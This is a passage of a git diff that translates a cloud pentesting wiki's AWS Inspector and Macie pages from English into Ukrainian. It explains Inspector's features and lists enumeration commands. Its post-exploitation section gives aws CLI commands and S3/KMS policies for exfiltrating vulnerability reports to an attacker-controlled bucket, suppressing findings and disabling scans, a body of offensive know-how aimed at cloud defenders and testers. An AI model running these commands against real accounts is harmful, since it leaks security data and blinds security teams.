risks. This comprehensive approach ensures a fortified security posture across various AWS services, aiding in compliance and risk management. +Amazon Inspector - це розширена автоматизована служба управління вразливостями, розроблена для підвищення безпеки вашого середовища AWS. Ця служба безперервно сканує екземпляри Amazon EC2, образи контейнерів в Amazon ECR, Amazon ECS та функції AWS Lambda на наявність вразливостей та ненавмисного мережевого впливу. Використовуючи надійну базу даних інтелекту вразливостей, Amazon Inspector надає детальні висновки, включаючи рівні серйозності та рекомендації щодо усунення, допомагаючи організаціям проактивно виявляти та усувати ризики безпеки. Цей комплексний підхід забезпечує зміцнену безпеку в різних службах AWS, сприяючи дотриманню вимог та управлінню ризиками. ### Key elements #### Findings -Findings in Amazon Inspector are detailed reports about vulnerabilities and exposures discovered during the scan of EC2 instances, ECR repositories, or Lambda functions. Based on its state, findings are categorized as: +Висновки в Amazon Inspector - це детальні звіти про вразливості та впливи, виявлені під час сканування екземплярів EC2, репозиторіїв ECR або функцій Lambda. В залежності від свого стану, висновки класифікуються як: -- **Active**: The finding has not been remediated. -- **Closed**: The finding has been remediated. -- **Suppressed**: The finding has been marked with this state due to one or more **suppression rules**. +- **Active**: Висновок не був усунений. +- **Closed**: Висновок був усунений. +- **Suppressed**: Висновок був позначений цим станом через одну або кілька **правил придушення**. -Findings are also categorized into the next three types: +Висновки також класифікуються на три типи: -- **Package**: These findings relate to vulnerabilities in software packages installed on your resources. Examples include outdated libraries or dependencies with known security issues. -- **Code**: This category includes vulnerabilities found in the code of applications running on your AWS resources. Common issues are coding errors or insecure practices that could lead to security breaches. -- **Network**: Network findings identify potential exposures in network configurations that could be exploited by attackers. These include open ports, insecure network protocols, and misconfigured security groups. +- **Package**: Ці висновки стосуються вразливостей у програмних пакетах, встановлених на ваших ресурсах. Прикладами є застарілі бібліотеки або залежності з відомими проблемами безпеки. +- **Code**: Ця категорія включає вразливості, виявлені в коді додатків, що працюють на ваших ресурсах AWS. Загальні проблеми - це помилки кодування або ненадійні практики, які можуть призвести до порушень безпеки. +- **Network**: Мережеві висновки виявляють потенційні впливи в мережевих конфігураціях, які можуть бути використані зловмисниками. До них відносяться відкриті порти, ненадійні мережеві протоколи та неправильно налаштовані групи безпеки. #### Filters and Suppression Rules -Filters and suppression rules in Amazon Inspector help manage and prioritize findings. Filters allow you to refine findings based on specific criteria, such as severity or resource type. Suppression rules allow you to suppress certain findings that are considered low risk, have already been mitigated, or for any other important reason, preventing them from overloading your security reports and allowing you to focus on more critical issues. +Фільтри та правила придушення в Amazon Inspector допомагають управляти та пріоритизувати висновки. Фільтри дозволяють уточнити висновки на основі конкретних критеріїв, таких як серйозність або тип ресурсу. Правила придушення дозволяють придушити певні висновки, які вважаються низьким ризиком, вже були пом'якшені або з будь-якої іншої важливої причини, запобігаючи їх перевантаженню ваших звітів з безпеки та дозволяючи зосередитися на більш критичних питаннях. #### Software Bill of Materials (SBOM) -A Software Bill of Materials (SBOM) in Amazon Inspector is an exportable nested inventory list detailing all the components within a software package, including libraries and dependencies. SBOMs help provide transparency into the software supply chain, enabling better vulnerability management and compliance. They are crucial for identifying and mitigating risks associated with open source and third-party software components. +Програмний рахунок матеріалів (SBOM) в Amazon Inspector - це експортований вкладений список інвентаризації, що детально описує всі компоненти в програмному пакеті, включаючи бібліотеки та залежності. SBOM допомагає забезпечити прозорість у ланцюгу постачання програмного забезпечення, що дозволяє покращити управління вразливостями та дотримання вимог. Вони є важливими для виявлення та пом'якшення ризиків, пов'язаних з компонентами програмного забезпечення з відкритим кодом та сторонніми постачальниками. ### Key features #### Export findings -Amazon Inspector offers the capability to export findings to Amazon S3 Buckets, Amazon EventBridge and AWS Security Hub, which enables you to generate detailed reports of identified vulnerabilities and exposures for further analysis or sharing at a specific date and time. This feature supports various output formats such as CSV and JSON, making it easier to integrate with other tools and systems. The export functionality allows customization of the data included in the reports, enabling you to filter findings based on specific criteria like severity, resource type, or date range and including by default all of your findings in the current AWS Region with an Active status. +Amazon Inspector пропонує можливість експортувати висновки в Amazon S3 Buckets, Amazon EventBridge та AWS Security Hub, що дозволяє генерувати детальні звіти про виявлені вразливості та впливи для подальшого аналізу або обміну в конкретну дату та час. Ця функція підтримує різні формати виводу, такі як CSV та JSON, що полегшує інтеграцію з іншими інструментами та системами. Функція експорту дозволяє налаштувати дані, включені в звіти, дозволяючи фільтрувати висновки на основі конкретних критеріїв, таких як серйозність, тип ресурсу або діапазон дат, і включаючи за замовчуванням всі ваші висновки в поточному регіоні AWS зі статусом Active. -When exporting findings, a Key Management Service (KMS) key is necessary to encrypt the data during export. KMS keys ensure that the exported findings are protected against unauthorized access, providing an extra layer of security for sensitive vulnerability information. +При експорті висновків необхідний ключ служби управління ключами (KMS) для шифрування даних під час експорту. Ключі KMS забезпечують захист експортованих висновків від несанкціонованого доступу, надаючи додатковий рівень безпеки для чутливої інформації про вразливості. #### Amazon EC2 instances scanning -Amazon Inspector offers robust scanning capabilities for Amazon EC2 instances to detect vulnerabilities and security issues. Inspector compared extracted metadata from the EC2 instance against rules from security advisories in order to produce package vulnerabilities and network reachability issues. These scans can be performed through **agent-based** or **agentless** methods, depending on the **scan mode** settings configuration of your account. +Amazon Inspector пропонує надійні можливості сканування для екземплярів Amazon EC2 для виявлення вразливостей та проблем безпеки. Inspector порівнює витягнуті метадані з екземпляра EC2 з правилами з безпекових рекомендацій, щоб виявити вразливості пакетів та проблеми доступності мережі. Ці сканування можуть виконуватися через **агентні** або **безагентні** методи, залежно від налаштувань конфігурації **режиму сканування** вашого облікового запису. -- **Agent-Based**: Utilizes the AWS Systems Manager (SSM) agent to perform in-depth scans. This method allows for comprehensive data collection and analysis directly from the instance. -- **Agentless**: Provides a lightweight alternative that does not require installing an agent on the instance, creating an EBS snapshot of every volume of the EC2 instance, looking for vulnerabilities, and then deleting it; leveraging existing AWS infrastructure for scanning. +- **Agent-Based**: Використовує агент AWS Systems Manager (SSM) для проведення глибоких сканувань. Цей метод дозволяє здійснювати всебічний збір та аналіз даних безпосередньо з екземпляра. +- **Agentless**: Надає легкий альтернативний варіант, який не вимагає встановлення агента на екземплярі, створюючи знімок EBS кожного тому екземпляра EC2, шукаючи вразливості, а потім видаляючи його; використовуючи існуючу інфраструктуру AWS для сканування. -The scan mode determines which method will be used to perform EC2 scans: +Режим сканування визначає, який метод буде використано для виконання сканувань EC2: -- **Agent-Based**: Involves installing the SSM agent on EC2 instances for deep inspection. -- **Hybrid Scanning**: Combines both agent-based and agentless methods to maximize coverage and minimize performance impact. In those EC2 instances where the SSM agent is installed, Inspector will perform an agent-based scan, and for those where there is no SSM agent, the scan performed will be agentless. +- **Agent-Based**: Включає встановлення агента SSM на екземплярах EC2 для глибокої перевірки. +- **Hybrid Scanning**: Поєднує як агентні, так і безагентні методи для максимального охоплення та мінімізації впливу на продуктивність. У тих екземплярах EC2, де встановлено агент SSM, Inspector виконає агентне сканування, а для тих, де немає агента SSM, сканування буде безагентним. -Another important feature is the **deep inspection** for EC2 Linux instances. This feature offers thorough analysis of the software and configuration of EC2 Linux instances, providing detailed vulnerability assessments, including operating system vulnerabilities, application vulnerabilities, and misconfigurations, ensuring a comprehensive security evaluation. This is achieved through the inspection of **custom paths** and all of its sub-directories. By default, Amazon Inspector will scan the following, but each member account can define up to 5 more custom paths, and each delegated administrator up to 10: +Ще одна важлива функція - це **глибока перевірка** для екземплярів EC2 Linux. Ця функція пропонує всебічний аналіз програмного забезпечення та конфігурації екземплярів EC2 Linux, надаючи детальні оцінки вразливостей, включаючи вразливості операційної системи, вразливості додатків та неправильні налаштування, забезпечуючи всебічну оцінку безпеки. Це досягається шляхом перевірки **кастомних шляхів** та всіх його підкаталогів. За замовчуванням Amazon Inspector сканує наступні, але кожен обліковий запис може визначити до 5 додаткових кастомних шляхів, а кожен делегований адміністратор - до 10: - `/usr/lib` - `/usr/lib64` @@ -61,28 +61,27 @@ Another important feature is the **deep inspection** for EC2 Linux instances. Th #### Amazon ECR container images scanning -Amazon Inspector provides robust scanning capabilities for Amazon Elastic Container Registry (ECR) container images, ensuring that package vulnerabilities are detected and managed efficiently. +Amazon Inspector надає надійні можливості сканування для образів контейнерів Amazon Elastic Container Registry (ECR), забезпечуючи виявлення та ефективне управління вразливостями пакетів. -- **Basic Scanning**: This is a quick and lightweight scan that identifies known OS packages vulnerabilities in container images using a standard set of rules from the open-source Clair project. With this scanning configuration, your repositories will be scanned on push, or performing manual scans. -- **Enhanced Scanning**: This option adds the continuous scanning feature in addition to the on push scan. Enhanced scanning dives deeper into the layers of each container image to identify vulnerabilities in OS packages and in programming languages packages with higher accuracy. It analyzes both the base image and any additional layers, providing a comprehensive view of potential security issues. +- **Basic Scanning**: Це швидке та легке сканування, яке виявляє відомі вразливості ОС пакетів в образах контейнерів, використовуючи стандартний набір правил з проекту з відкритим кодом Clair. З цією конфігурацією сканування ваші репозиторії будуть скануватися при завантаженні або під час виконання ручних сканувань. +- **Enhanced Scanning**: Ця опція додає функцію безперервного сканування на додаток до сканування при завантаженні. Розширене сканування заглиблюється в шари кожного образу контейнера, щоб виявити вразливості в пакетах ОС та в пакетах мов програмування з більшою точністю. Воно аналізує як базовий образ, так і будь-які додаткові шари, надаючи всебічний огляд потенційних проблем безпеки. #### Amazon Lambda functions scanning -Amazon Inspector includes comprehensive scanning capabilities for AWS Lambda functions and its layers, ensuring the security and integrity of serverless applications. Inspector offers two types of scanning for Lambda functions: +Amazon Inspector включає всебічні можливості сканування для функцій AWS Lambda та їх шарів, забезпечуючи безпеку та цілісність безсерверних додатків. Inspector пропонує два типи сканування для функцій Lambda: -- **Lambda standard scanning**: This default feature identifies software vulnerabilities in the application package dependencies added to your Lambda function and layers. For instance, if your function uses a version of a library like python-jwt with a known vulnerability, it generates a finding. -- **Lambda code scanning**: Analyzes custom application code for security issues, detecting vulnerabilities like injection flaws, data leaks, weak cryptography, and missing encryption. It captures code snippets highlighting detected vulnerabilities, such as hardcoded credentials. Findings include detailed remediation suggestions and code snippets for fixing the issues. +- **Lambda standard scanning**: Ця стандартна функція виявляє вразливості програмного забезпечення в залежностях пакета додатка, доданих до вашої функції Lambda та шарів. Наприклад, якщо ваша функція використовує версію бібліотеки, такої як python-jwt, з відомою вразливістю, вона генерує висновок. +- **Lambda code scanning**: Аналізує кастомний код додатка на наявність проблем безпеки, виявляючи вразливості, такі як вразливості ін'єкцій, витоки даних, слабке шифрування та відсутнє шифрування. Він захоплює фрагменти коду, що підкреслюють виявлені вразливості, такі як закодовані в коді облікові дані. Висновки включають детальні рекомендації щодо усунення та фрагменти коду для виправлення проблем. #### **Center for Internet Security (CIS) scans** -Amazon Inspector includes CIS scans to benchmark Amazon EC2 instance operating systems against best practice recommendations from the Center for Internet Security (CIS). These scans ensure configurations adhere to industry-standard security baselines. +Amazon Inspector включає сканування CIS для оцінки операційних систем екземплярів Amazon EC2 відповідно до рекомендацій кращих практик від Центру безпеки Інтернету (CIS). Ці сканування забезпечують дотримання конфігурацій стандартам безпеки галузі. -- **Configuration**: CIS scans evaluate if system configurations meet specific CIS Benchmark recommendations, with each check linked to a CIS check ID and title. -- **Execution**: Scans are performed or scheduled based on instance tags and defined schedules. -- **Results**: Post-scan results indicate which checks passed, skipped, or failed, providing insight into the security posture of each instance. +- **Configuration**: Сканування CIS оцінює, чи відповідають системні конфігурації конкретним рекомендаціям CIS Benchmark, при цьому кожна перевірка пов'язана з ID перевірки CIS та заголовком. +- **Execution**: Сканування виконуються або плануються на основі тегів екземпляра та визначених графіків. +- **Results**: Результати після сканування вказують, які перевірки пройшли, були пропущені або не пройшли, надаючи уявлення про безпекову позицію кожного екземпляра. ### Enumeration - ```bash # Administrator and member accounts # @@ -111,7 +110,7 @@ aws inspector2 list-findings aws inspector2 batch-get-finding-details --finding-arns ## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this) aws inspector2 list-finding-aggregations --aggregation-type [--account-ids ] +| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids ] ## Retrieve code snippet information about one or more specified code vulnerability findings aws inspector2 batch-get-code-snippet --finding-arns ## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this) @@ -183,113 +182,99 @@ aws inspector list-exclusions --assessment-run-arn ## Rule packages aws inspector list-rules-packages ``` - -### Post Exploitation +### Постексплуатація > [!TIP] -> From an attackers perspective, this service can help the attacker to find vulnerabilities and network exposures that could help him to compromise other instances/containers. +> З точки зору атакуючого, цей сервіс може допомогти атакуючому знайти вразливості та мережеві витоки, які можуть допомогти йому скомпрометувати інші екземпляри/контейнери. > -> However, an attacker could also be interested in disrupting this service so the victim cannot see vulnerabilities (all or specific ones). +> Однак, атакуючий також може бути зацікавлений у порушенні цього сервісу, щоб жертва не могла бачити вразливості (всі або конкретні). #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -An attacker could generate detailed reports of vulnerabilities or software bill of materials (SBOMs) and exfiltrate them from your AWS environment. This information could be exploited to identify specific weaknesses, outdated software, or insecure dependencies, enabling targeted attacks. - +Атакуючий може згенерувати детальні звіти про вразливості або рахунки на програмне забезпечення (SBOM) та ексфільтрувати їх з вашого середовища AWS. Цю інформацію можна використати для виявлення конкретних слабкостей, застарілого програмного забезпечення або небезпечних залежностей, що дозволяє здійснювати цілеспрямовані атаки. ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` - -The following example shows how to exfiltrate all the Active findings from Amazon Inspector to an attacker controlled Amazon S3 Bucket with an attacker controlled Amazon KMS key: - -1. **Create an Amazon S3 Bucket** and attach a policy to it in order to be accessible from the victim Amazon Inspector: - +1. **Створіть Amazon S3 Bucket** і прикріпіть до нього політику, щоб він був доступний з жертви Amazon Inspector: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "allow-inspector", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], - "Resource": "arn:aws:s3:::inspector-findings/*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - }, - "ArnLike": { - "aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "allow-inspector", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], +"Resource": "arn:aws:s3:::inspector-findings/*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +}, +"ArnLike": { +"aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" +} +} +} +] } ``` - -2. **Create an Amazon KMS key** and attach a policy to it in order to be usable by the victim’s Amazon Inspector: - +2. **Створіть ключ Amazon KMS** та прикріпіть до нього політику, щоб він міг використовуватися Amazon Inspector жертви: ```json { - "Version": "2012-10-17", - "Id": "key-policy", - "Statement": [ - { - ... - }, - { - "Sid": "Allow victim Amazon Inspector to use the key", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-policy", +"Statement": [ +{ +... +}, +{ +"Sid": "Allow victim Amazon Inspector to use the key", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +} +} +} +] } ``` - -3. Execute the command to **create the findings report** exfiltrating it: - +3. Виконайте команду для **створення звіту про знахідки**, ексфільтруючи його: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` - -- **Potential Impact**: Generation and exfiltration of detailed vulnerability and software reports, gaining insights into specific vulnerabilities and security weaknesses. +- **Потенційний вплив**: Генерація та ексфільтрація детальних звітів про вразливості та програмне забезпечення, отримання інформації про конкретні вразливості та слабкі місця в безпеці. #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -An attacker could cancel the generation of the specified findings report or SBOM report, preventing security teams from receiving timely information about vulnerabilities and software bill of materials (SBOMs), delaying the detection and remediation of security issues. - +Зловмисник може скасувати генерацію вказаного звіту про вразливості або звіту SBOM, що заважає командам безпеки отримувати своєчасну інформацію про вразливості та рахунок програмного забезпечення (SBOM), затримуючи виявлення та усунення проблем безпеки. ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` - -- **Potential Impact**: Disruption of security monitoring and prevention of timely detection and remediation of security issues. +- **Potential Impact**: Порушення моніторингу безпеки та запобігання своєчасному виявленню та усуненню проблем безпеки. #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -An attacker with these permissions would be able manipulate the filtering rules that determine which vulnerabilities and security issues are reported or suppressed (if the **action** is set to SUPPRESS, a suppression rule would be created). This could hide critical vulnerabilities from security administrators, making it easier to exploit these weaknesses without detection. By altering or removing important filters, an attacker could also create noise by flooding the system with irrelevant findings, hindering effective security monitoring and response. - +Зловмисник з цими дозволами зможе маніпулювати правилами фільтрації, які визначають, які вразливості та проблеми безпеки повідомляються або подавляються (якщо **action** встановлено на SUPPRESS, буде створено правило подавлення). Це може приховати критичні вразливості від адміністраторів безпеки, що полегшує експлуатацію цих слабкостей без виявлення. Змінюючи або видаляючи важливі фільтри, зловмисник також може створити шум, заповнюючи систему нерелевантними знахідками, що заважає ефективному моніторингу безпеки та реагуванню. ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -298,93 +283,78 @@ aws inspector2 update-filter --filter-arn [--action ] [ # Delete aws inspector2 delete-filter --arn ``` - -- **Potential Impact**: Concealment or suppression of critical vulnerabilities, or flooding the system with irrelevant findings. +- **Потенційний вплив**: Приховування або подавлення критичних вразливостей, або заповнення системи нерелевантними знахідками. #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) -An attacker could significantly disrupt the security management structure. +Зловмисник може суттєво порушити структуру управління безпекою. -- Disabling the delegated admin account, the attacker could prevent the security team from accessing and managing Amazon Inspector settings and reports. -- Enabling an unauthorized admin account would allow an attacker to control security configurations, potentially disabling scans or modifying settings to hide malicious activities. +- Вимкнувши делегований обліковий запис адміністратора, зловмисник може перешкодити команді безпеки отримувати доступ до налаштувань та звітів Amazon Inspector. +- Увімкнення несанкціонованого облікового запису адміністратора дозволить зловмиснику контролювати конфігурації безпеки, потенційно вимикаючи сканування або змінюючи налаштування для приховування шкідливої діяльності. > [!WARNING] -> It is required for the unauthorized account to be in the same Organization as the victim in order to become the delegated administrator. +> Необхідно, щоб несанкціонований обліковий запис був в тій же Організації, що й жертва, щоб стати делегованим адміністратором. > -> In order for the unauthorized account to become the delegated administrator, it is also required that after the legitimate delegated administrator is disabled, and before the unauthorized account is enabled as the delegated administrator, the legitimate administrator must be deregistered as the delegated administrator from the organization. . This can be done with the following command (**`organizations:DeregisterDelegatedAdministrator`** permission required): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** - +> Щоб несанкціонований обліковий запис став делегованим адміністратором, також необхідно, щоб після вимкнення легітимного делегованого адміністратора, і перед увімкненням несанкціонованого облікового запису як делегованого адміністратора, легітимний адміністратор повинен бути виключений як делегований адміністратор з організації. Це можна зробити за допомогою наступної команди (**`organizations:DeregisterDelegatedAdministrator`** потрібен дозвіл): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id # Enable aws inspector2 enable-delegated-admin-account --delegated-admin-account-id ``` - -- **Potential Impact**: Disruption of the security management. +- **Потенційний вплив**: Порушення управління безпекою. #### `inspector2:AssociateMember`, `inspector2:DisassociateMember` -An attacker could manipulate the association of member accounts within an Amazon Inspector organization. By associating unauthorized accounts or disassociating legitimate ones, an attacker could control which accounts are included in security scans and reporting. This could lead to critical accounts being excluded from security monitoring, enabling the attacker to exploit vulnerabilities in those accounts without detection. +Зловмисник може маніпулювати асоціацією облікових записів учасників в організації Amazon Inspector. Асуючи несанкціоновані облікові записи або від'єднуючи легітимні, зловмисник може контролювати, які облікові записи включені в сканування безпеки та звітність. Це може призвести до виключення критичних облікових записів з моніторингу безпеки, що дозволяє зловмиснику експлуатувати вразливості в цих облікових записах без виявлення. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Цю дію потрібно виконувати делегованим адміністратором. ```bash # Associate aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` - -- **Potential Impact**: Exclusion of key accounts from security scans, enabling undetected exploitation of vulnerabilities. +- **Потенційний вплив**: Виключення ключових облікових записів з перевірок безпеки, що дозволяє непомічене використання вразливостей. #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -An attacker with the `inspector2:Disable` permission would be able to disable security scans on specific resource types (EC2, ECR, Lambda, Lambda code) over the specified accounts, leaving parts of the AWS environment unmonitored and vulnerable to attacks. In addition, owing the **`inspector2:Enable`** & **`iam:CreateServiceLinkedRole`** permissions, an attacker could then re-enable scans selectively to avoid detection of suspicious configurations. +Зловмисник з дозволом `inspector2:Disable` зможе вимкнути перевірки безпеки для конкретних типів ресурсів (EC2, ECR, Lambda, код Lambda) для зазначених облікових записів, залишаючи частини середовища AWS без нагляду та вразливими до атак. Крім того, маючи дозволи **`inspector2:Enable`** та **`iam:CreateServiceLinkedRole`**, зловмисник зможе повторно ввімкнути перевірки вибірково, щоб уникнути виявлення підозрілих конфігурацій. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Цю дію потрібно виконати делегованим адміністратором. ```bash # Disable aws inspector2 disable --account-ids [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>] # Enable aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids ] ``` - -- **Potential Impact**: Creation of blind spots in the security monitoring. +- **Потенційний вплив**: Створення сліпих зон у моніторингу безпеки. #### `inspector2:UpdateOrganizationConfiguration` -An attacker with this permission would be able to update the configurations for your Amazon Inspector organization, affecting the default scanning features enabled for new member accounts. +Зловмисник з цим дозволом зможе оновити конфігурації для вашої організації Amazon Inspector, що вплине на стандартні функції сканування, увімкнені для нових облікових записів учасників. > [!WARNING] -> This action requires to be performed by the delegated administrator. - +> Цю дію потрібно виконати делегованим адміністратором. ```bash aws inspector2 update-organization-configuration --auto-enable ``` - -- **Potential Impact**: Alter security scan policies and configurations for the organization. +- **Потенційний вплив**: Змінити політики та конфігурації безпеки для організації. #### `inspector2:TagResource`, `inspector2:UntagResource` -An attacker could manipulate tags on AWS Inspector resources, which are critical for organizing, tracking, and automating security assessments. By altering or removing tags, an attacker could potentially hide vulnerabilities from security scans, disrupt compliance reporting, and interfere with automated remediation processes, leading to unchecked security issues and compromised system integrity. - +Зловмисник може маніпулювати тегами на ресурсах AWS Inspector, які є критично важливими для організації, відстеження та автоматизації оцінок безпеки. Змінюючи або видаляючи теги, зловмисник може потенційно приховати вразливості від сканувань безпеки, порушити звітність про відповідність і заважати автоматизованим процесам виправлення, що призведе до неконтрольованих проблем з безпекою та скомпрометованою цілісністю системи. ```bash aws inspector2 tag-resource --resource-arn --tags aws inspector2 untag-resource --resource-arn --tag-keys ``` +- **Потенційний вплив**: Приховування вразливостей, порушення звітності про відповідність, порушення автоматизації безпеки та порушення розподілу витрат. -- **Potential Impact**: Hiding of vulnerabilities, disruption of compliance reporting, disruption of security automation and disruption of cost allocation. - -## References +## Посилання - [https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html](https://docs.aws.amazon.com/inspector/latest/user/what-is-inspector.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoninspector2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md index e6e3a2281..8f8cec54a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-macie-enum.md @@ -6,70 +6,69 @@ ## Macie -Amazon Macie stands out as a service designed to **automatically detect, classify, and identify data** within an AWS account. It leverages **machine learning** to continuously monitor and analyze data, primarily focusing on detecting and alerting against unusual or suspicious activities by examining **cloud trail event** data and user behavior patterns. +Amazon Macie виділяється як сервіс, призначений для **автоматичного виявлення, класифікації та ідентифікації даних** в обліковому записі AWS. Він використовує **машинне навчання** для безперервного моніторингу та аналізу даних, головним чином зосереджуючись на виявленні та сповіщенні про незвичайні або підозрілі дії, аналізуючи **дані подій хмари** та шаблони поведінки користувачів. -Key Features of Amazon Macie: +Ключові особливості Amazon Macie: -1. **Active Data Review**: Employs machine learning to review data actively as various actions occur within the AWS account. -2. **Anomaly Detection**: Identifies irregular activities or access patterns, generating alerts to mitigate potential data exposure risks. -3. **Continuous Monitoring**: Automatically monitors and detects new data in Amazon S3, employing machine learning and artificial intelligence to adapt to data access patterns over time. -4. **Data Classification with NLP**: Utilizes natural language processing (NLP) to classify and interpret different data types, assigning risk scores to prioritize findings. -5. **Security Monitoring**: Identifies security-sensitive data, including API keys, secret keys, and personal information, helping to prevent data leaks. +1. **Активний огляд даних**: Використовує машинне навчання для активного перегляду даних під час різних дій в обліковому записі AWS. +2. **Виявлення аномалій**: Визначає нерегулярні дії або шаблони доступу, генеруючи сповіщення для зменшення потенційних ризиків витоку даних. +3. **Безперервний моніторинг**: Автоматично моніторить і виявляє нові дані в Amazon S3, використовуючи машинне навчання та штучний інтелект для адаптації до шаблонів доступу до даних з часом. +4. **Класифікація даних з NLP**: Використовує обробку природної мови (NLP) для класифікації та інтерпретації різних типів даних, присвоюючи ризикові бали для пріоритизації знахідок. +5. **Моніторинг безпеки**: Визначає дані, чутливі до безпеки, включаючи ключі API, секретні ключі та особисту інформацію, допомагаючи запобігти витокам даних. -Amazon Macie is a **regional service** and requires the 'AWSMacieServiceCustomerSetupRole' IAM Role and an enabled AWS CloudTrail for functionality. +Amazon Macie є **регіональним сервісом** і вимагає роль IAM 'AWSMacieServiceCustomerSetupRole' та активований AWS CloudTrail для функціонування. -### Alert System +### Система сповіщень -Macie categorizes alerts into predefined categories like: +Macie класифікує сповіщення на попередньо визначені категорії, такі як: -- Anonymized access -- Data compliance -- Credential Loss -- Privilege escalation -- Ransomware -- Suspicious access, etc. +- Анонімний доступ +- Відповідність даним +- Втрата облікових даних +- Підвищення привілеїв +- Вимагач +- Підозрілий доступ тощо. -These alerts provide detailed descriptions and result breakdowns for effective response and resolution. +Ці сповіщення надають детальні описи та розподіл результатів для ефективної реакції та вирішення. -### Dashboard Features +### Функції панелі управління -The dashboard categorizes data into various sections, including: +Панель управління класифікує дані на різні секції, включаючи: -- S3 Objects (by time range, ACL, PII) -- High-risk CloudTrail events/users -- Activity Locations -- CloudTrail user identity types, and more. +- Об'єкти S3 (за часовим діапазоном, ACL, PII) +- Високоризикові події/користувачі CloudTrail +- Локації активності +- Типи ідентичності користувачів CloudTrail та інше. -### User Categorization +### Класифікація користувачів -Users are classified into tiers based on the risk level of their API calls: +Користувачі класифікуються на рівні залежно від рівня ризику їхніх викликів API: -- **Platinum**: High-risk API calls, often with admin privileges. -- **Gold**: Infrastructure-related API calls. -- **Silver**: Medium-risk API calls. -- **Bronze**: Low-risk API calls. +- **Платиновий**: Високоризикові виклики API, часто з адміністративними привілеями. +- **Золотий**: Виклики API, пов'язані з інфраструктурою. +- **Срібний**: Виклики API середнього ризику. +- **Бронзовий**: Низькоризикові виклики API. -### Identity Types +### Типи ідентичності -Identity types include Root, IAM user, Assumed Role, Federated User, AWS Account, and AWS Service, indicating the source of requests. +Типи ідентичності включають Root, IAM користувач, Прийнята роль, Федеративний користувач, Обліковий запис AWS та Сервіс AWS, що вказує на джерело запитів. -### Data Classification +### Класифікація даних -Data classification encompasses: +Класифікація даних охоплює: -- Content-Type: Based on detected content type. -- File Extension: Based on file extension. -- Theme: Categorized by keywords within files. -- Regex: Categorized based on specific regex patterns. +- Тип вмісту: На основі виявленого типу вмісту. +- Розширення файлу: На основі розширення файлу. +- Тема: Класифікована за ключовими словами в файлах. +- Regex: Класифікована на основі специфічних шаблонів regex. -The highest risk among these categories determines the file's final risk level. +Найвищий ризик серед цих категорій визначає остаточний рівень ризику файлу. -### Research and Analysis +### Дослідження та аналіз -Amazon Macie's research function allows for custom queries across all Macie data for in-depth analysis. Filters include CloudTrail Data, S3 Bucket properties, and S3 Objects. Moreover, it supports inviting other accounts to share Amazon Macie, facilitating collaborative data management and security monitoring. +Функція дослідження Amazon Macie дозволяє виконувати користувацькі запити по всіх даних Macie для глибокого аналізу. Фільтри включають дані CloudTrail, властивості S3 Bucket та об'єкти S3. Крім того, вона підтримує 